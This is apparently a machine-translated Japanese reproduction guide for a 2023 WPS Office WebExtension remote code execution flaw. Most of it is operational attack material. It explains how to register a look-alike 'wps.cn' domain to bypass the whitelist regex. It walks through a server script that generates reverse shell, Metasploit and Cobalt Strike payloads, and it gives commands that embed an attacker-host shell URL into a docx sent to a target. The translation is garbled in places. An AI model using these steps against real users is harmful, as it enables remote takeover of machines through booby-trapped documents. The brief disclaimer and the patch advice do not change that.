序文
2023HVV 中に公開された WPS Office には RCE の脆弱性があり、攻撃者はこの脆弱性を悪用して任意のコマンドを実行し、サーバーの制御権限を取得する可能性があります。
声明
この記事に記載されている関連テクノロジーを違法なテストに使用しないでください。この記事で提供される情報やツールの普及と使用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任となります。記事の著者は無関係です。この記事は教育のみを目的としています。
1. 脆弱性の説明
Office の WebExtension (Office プラグインまたは Office アプリケーションと呼ばれることが多い) は、Microsoft Office の機能を拡張するために使用されるテクノロジです。Office プラグインを使用すると、サードパーティ開発者は独自のサービスや機能を Office アプリケーションに統合できます。これらのプラグインは、クロスプラットフォーム Web テクノロジー (HTML、CSS、JavaScript など) を使用して開発されており、さまざまなプラットフォームやデバイス上で実行できます。
簡単に理解すると、Office には html/javascript/css コードを解析できるブラウザが組み込まれているということですが、今回の脆弱性は、WPS が WebExtension の処理時に JavaScript コードを正しく処理できず、オーバーフロー RCE が発生するというものです (前回の暴露を参照してください) Chrome の) RCE 脆弱性、WeChat Windows バージョン <3.1.2.141 には RCE 脆弱性があり、同様です)
2. 影響範囲
- WPS Office 2023 Personal Edition < 11.1.0.15120
- WPS Office 2019 Enterprise Edition < 11.8.2.12085
3. 脆弱性の再発
脆弱性環境パッケージをダウンロードします:
https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe
サーバー: ドメイン名をバインドしてclientWeb.docer.wps.cn.****.wps.cn
Web サービスを開きます。同じディレクトリに html ファイルがあります。
クライアント: ペイロードを通常の docx ファイルに挿入し (https://clientweb.docer.wps.cn/shell/vpsIP/9000
ターゲット ホストに送信するなど)、docx ファイルを開いて正常に再バインドします。シェル;
次に、ローカルで再現します。ローカルで再現する場合、hosts ファイルを変更する必要があります。ホストは clientweb.docer.wps.cn.{****}.wps.cn の形式に準拠するように変更され、ホストはファイルディレクトリは ですC:\windows\System32\drivers\etc
。
この繰り返しでは、ホストを 127.0.0.1 clientweb.docer.wps.cn.****wps.cn として追加します。以下の図に示すように、
HTTP サービスを開始します
。POC ディレクトリで http サービスを開始します。サービス コマンド:py -3 -m http.server 80
ブラウザを使用して clientweb.docer.wps.cn.cloudwps.cn にアクセスし
、poc.docx を開いて計算機をポップアップします。 。
この脆弱性は、上記の方法を再現するだけでなく、スクリプトを通じてさらに悪用される可能性もあります。
github プロジェクト: wps-rce
- 対応する依存関係をインストールする
python3.8以上的版本
プログラムを正しく実行するには、プログラムを使用する必要があります
pip3 install -rrequirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
サーバー側の機能
- サーバーの main.py は Server ディレクトリにあります。この Python スクリプトは HTML コードの生成に使用されます。また、シェル、MSF、および CS リバインド コードの生成もサポートしています。
- ドメイン名 ****wps.cn を購入する必要があります
- VPSを購入する必要がある
- ドメイン名 clientwps.docer.wps.cn.***wps.cn は VPS に解決される必要があります
ここで main.py を実行する場合、リスニング ポートはポート 80 であり、root 権限が必要です。
Python はサーバー ディレクトリでメイン スクリプト サービスを開始します
- デフォルトでは、ドメイン名とのバインドを容易にするために、サービスのリスニング ポートは 80 です。
- リバース プロキシに Nginx/Caddy を使用する場合は、自分でポートを変更できます。
ドメイン名解決アドレスまたは VPS ポートに直接アクセスします。
- このサーバーはインターネット上で公開されているPOCを基に開発されており、該当アドレスにアクセスすることで該当プログラムの利用コードを直接生成することができます。
- URL は CS および MSF のペイロード リストに対応します
。VPS IP を使用して直接アクセスできます。ローカルでテストし、ホストをバインドして
テストにアクセスします。
上記の環境は構成されています。次に、テスト用のペイロードを準備します: http:/ /clientweb.docer.wps.cn .lhhwps.cn/calc
新しい通常の docx ドキュメントを作成します
クライアント機能
- Client ディレクトリ内のクライアントの main.py この Python スクリプトは、docx ファイルの生成に使用されます。
- 通常の docx ファイルを提供する必要があり、攻撃ペイロードはこの docx に挿入されます。
https://clientweb.docer.wps.cn.***wps.cn/shell/127.0.0.1/9000のように、上で構築したサーバーによって提供される URL アドレスに基づく必要があります。
上記の条件がすべて準備できたら、次のコマンドを実行します:
python3 main.py wps0day.docx http://clientweb.docer.wps.cn.lhhwps.cn/calc
次に、生成された新しいファイルをローカルにダウンロードし、ダブルクリックして実行します! リバウンド計算は正常に実行されます。
爆弾計算に加えて、リバウンド シェルを使用して
ブラウザ上のパスにアクセスすることもできます。シェルの背後にあるパラメータは自分で変更できます。スクリプト内の変更されたアドレスを使用して新しい docx ドキュメントを生成します。生成されたファイル
をローカルで、ダブルクリックして実行します。Shell を正常にリバウンドさせるための
他のエクスプロイトにも同じことが当てはまります。!!
ヒント 1: ローカル テスト
- docx を使用する場合は、***wps.cn のドメイン名を購入する必要があります。ドメイン名がない場合は、ローカルでテストするだけです。コンピュータの hosts ファイルを変更して、ドメイン名を手動でバインドできます。 。
- 脆弱なバージョンの wps をインストールし、hosts ファイルを変更します。
- C:\Windows\System32\drivers\etc\hosts ファイルを変更し、127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn を追加します (この操作はローカル テストの便宜のためであり、ドメイン名は実際に使用するために購入しました。)
- なお、上記で追加したhostsファイルでは、実際の状況に応じて「127.0.0.1」を入力する必要がありますが、このIPは実行中のサーバーのIPアドレスです。このマシンでサーバーが実行されている場合は 127.0.0.1 を入力できますが、別の Linux サーバーで実行されている場合は、IP アドレスに正常にアクセスできるかどうかを確認する必要があります。
- サーバーのペイロード、計算機をバウンスするか、シェルをバウンスするか、msf をバウンスするか、CS をバウンスするかを選択します。
- シェルがリバウンドすると、URL http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000 が生成されます。ここの 1.1.1.1 は、実行中のサーバーの IP に変更する必要があります。 nc コマンド この IP アドレスにはドメイン名も使用できます。9000 は、NC がリッスンするポートに変更する必要があります。(ここでの IP と nc は、シェルを受け入れるためだけに分離されていることに注意してください。トラブルを避けるために、サーバーを実行しているサーバーで直接実行できます。)
- クライアント コマンドを使用して、攻撃 docx ファイル python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000 を生成します。
- 生成された wps_office_rce_***.docx ファイルを wps がインストールされているコンピューターにコピーし、ダブルクリックしてクライアントで開きます。
ヒント 2: 脆弱性悪用の制限
1. ドメイン名 ***wps.cn を購入します。
- WebExtension の JavaScript が原因で発生するため、対応する HTML ファイルを用意する必要があります。WebExtension はサードパーティの Web サイトからの HTML の読み込みをサポートしているため、パブリック ネットワーク上の Web サービスが HTML ファイルを共有できるようにする必要があります。
- wps の制限により、サードパーティの Web サイトの html を読み込むと、下の図に示すように、wps によって通知されます。WPS では、wps.cn のドメイン名がホワイトリストに含まれており、ロードするリソースが wps.cn Web サイトにある限り、そのようなプロンプトは表示されません。しかし、私たちは wps.cn を制御することはできません。
- WPS では、ホワイトリスト検出に抜け穴があります。コードでは、http://.*?.wps.cn の通常のマッチングが使用されている可能性があります。このマッチングには、明らかに抜け穴があります。HTML ファイルを配置するだけで済みます。 http://hackwps.cn Web サイトでは、検出をバイパスできます。
- したがって、この脆弱性を悪用する場合は、hackerwps.cn、xxxwps.cn など、wps.cn を含むドメイン名のみを購入する必要があります。
2. HTML ファイルを vps にデプロイし、ドメイン名を vps にバインドします。
- ドメイン名と vps を購入した後、サブドメイン clientweb.docer.wps.cn.***wps.cn を購入した vps に解決し、CDN のレイヤーを設定してから、nginx リバース プロキシを使用して、構築されたサービス。(特定のドメイン名/vps/cdn を自分で学習して導入することができます。)
- ここでのサブドメイン名は clientweb.docer.wps.cn.***wps.cn である必要があります。そうしないと、ホワイトリストに合格しません。
4. 修理のご提案
最新バージョンにアップデートする